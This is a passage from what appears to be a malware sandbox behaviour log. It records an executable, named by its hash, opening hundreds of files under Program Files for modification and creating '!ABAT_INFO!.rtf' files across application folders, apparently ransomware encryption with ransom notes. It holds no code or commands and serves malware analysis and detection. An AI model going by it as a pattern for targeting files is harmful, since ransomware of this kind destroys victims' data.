Files\Java\jre7\lib\jfr\profile.jfc 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_70.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\bg.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\appletviewer.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.identity_3.4.0.v20140827-1444.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-search_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jcmd.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Tucuman 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\org.eclipse.rcp_root_4.4.0.v20141007-2301 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\th.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-views_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Jakarta 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ja_JP.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\launcher.win32.win32.x86_64.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-charts_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\README.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Search.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Jayapura 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\Accessible.tlb 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\New_Skins.url 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\UTC 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Efate 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\application.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\vlc16x16.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.property.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-lib-uihandler_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\flavormap.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Saipan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.jdp_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-api-visual.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\sa-jdi.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Scoresbysund 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\LoginForm.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Tokyo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-common_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\content-types.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\defaults\pref\channel-prefs.js 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\charsets.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\eclipse.inf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.contexts_1.3.100.v20140407-1019.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\core_visualvm.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Araguaina 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Edmonton 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.jobs_3.6.0.v20140424-0053.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.text.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Almaty 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\VDK10.CMP 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Chita 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Broken_Hill 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.scheduler.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateHelper.msi 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\ECLIPSE_.SF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\oracle.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench_1.2.1.v20140901-1244.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_globalstyle.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\com-sun-tools-visualvm-modules-startup_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\orbd.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\pack200.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\jp2launcher.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Gibraltar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\VDK10.STD 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-impl_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Kamchatka 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Enderbury 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\default_apps\drive.crx 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.VisualBasic.Targets 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Palmer 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-uihandler.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-heapdump_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Nome 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Sydney 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\ro.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Macau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.databinding.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.scheduler_1.2.0.v20140422-1847.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\release 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Vienna 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Extensions\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.ui_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Recife 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Nicosia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.property_1.4.200.v20140214-0004.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\tzmappings 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\PYCC.pf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Port_Moresby 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.core_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.widgets.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Adelaide 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\common.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Windhoek 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kathmandu 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-host-views.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Toronto 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\dblook 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derby.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\VERSION.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\management-agent.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-profiler.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-threaddump_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\[email protected] 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ru.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Dublin 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\La_Rioja 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\javaws.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Damascus 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\HLS.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jstatd.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.text.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application-views.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\ktab.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Johannesburg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Los_Angeles 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\WET 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.felix.gogo.command_0.10.0.v201209301215.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program 